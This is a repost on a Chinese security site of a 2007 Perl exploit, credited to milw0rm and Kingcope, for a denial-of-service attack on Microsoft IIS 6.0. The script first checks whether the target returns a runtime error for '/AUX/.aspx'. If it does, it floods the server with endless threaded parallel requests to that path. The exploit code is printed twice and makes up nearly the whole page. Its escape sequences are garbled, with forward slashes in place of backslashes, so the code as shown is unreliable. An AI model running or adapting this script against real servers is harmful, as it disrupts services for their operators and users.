Microsoft IIS 6.0 (/AUX/.aspx) Remote Denial of Service Exploit 's

admin 2017年5月6日19:59:13评论433 views字数 1321阅读4分24秒阅读模式
摘要

来源:milw0rm
#When sending multiple parallel GET requests to a IIS 6.0 server requesting
#/AUX/.aspx the server gets instable and non responsive. This happens only
#to servers which respond a runtime error (System.Web.HttpException)
#and take two or more seconds to respond to the /AUX/.aspx GET request.
#
#
#signed,
#Kingcope [email protected]
[email protected]#########
###***********************************************************************
###
###
###
### Lame Internet Information Server 6.0 Denial Of Service (nonpermanent)
### by Kingcope, May/2007
### Better run this from a Linux system
##########################################################################

use IO::Socket;
use threads;

if ($ARGV[0] eq "") { exit; }
my $host = $ARGV[0];

$|=1;

sub sendit {
$sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => 'http(80)',
Proto => 'tcp');

print $sock "GET /AUX/.aspx HTTP/1.1/r/nHost: $host/r/nConnection:close/r/n/r/n";
}

$sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => 'http(80)',
Proto => 'tcp');

print $sock "GET /AUX/.aspx HTTP/1.1/r/nHost: $host/r/nConnection:close/r/n/r/n";

$k=0;
while (<$sock>) {
  if ($_ =~ /Runtime/sError/) {
      $k=1;
      last;
  }
}

if ($k==0) {
  print "Server does not seem to be vulnerable to this attack./n";
  exit;  
}

print "ATTACK!/n";

while(1){

for (my $i=0;$i<=100;$i++) {
  $thr = threads->new(/&sendit);
  print "/r/r/r$i/100 ";
}

foreach $thr (threads->list) {
  $thr->join;
}
}

来源:milw0rm


#When sending multiple parallel GET requests to a IIS 6.0 server requesting
#/AUX/.aspx the server gets instable and non responsive. This happens only
#to servers which respond a runtime error (System.Web.HttpException)
#and take two or more seconds to respond to the /AUX/.aspx GET request.
#
#
#signed,
#Kingcope [email protected]
[email protected]#########
###***********************************************************************
###
###
###
### Lame Internet Information Server 6.0 Denial Of Service (nonpermanent)
### by Kingcope, May/2007
### Better run this from a Linux system
##########################################################################

use IO::Socket;
use threads;

if ($ARGV[0] eq "") { exit; }
my $host = $ARGV[0];

$|=1;

sub sendit {
$sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => 'http(80)',
Proto => 'tcp');

print $sock "GET /AUX/.aspx HTTP/1.1/r/nHost: $host/r/nConnection:close/r/n/r/n";
}

$sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => 'http(80)',
Proto => 'tcp');

print $sock "GET /AUX/.aspx HTTP/1.1/r/nHost: $host/r/nConnection:close/r/n/r/n";

$k=0;
while (<$sock>) {
  if ($_ =~ /Runtime/sError/) {
      $k=1;
      last;
  }
}

if ($k==0) {
  print "Server does not seem to be vulnerable to this attack./n";
  exit;  
}

print "ATTACK!/n";

while(1){

for (my $i=0;$i<=100;$i++) {
  $thr = threads->new(/&sendit);
  print "/r/r/r$i/100 ";
}

foreach $thr (threads->list) {
  $thr->join;
}
}

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年5月6日19:59:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Microsoft IIS 6.0 (/AUX/.aspx) Remote Denial of Service Exploit 'shttp://cn-sec.com/archives/49828.html

发表评论

匿名网友 填写信息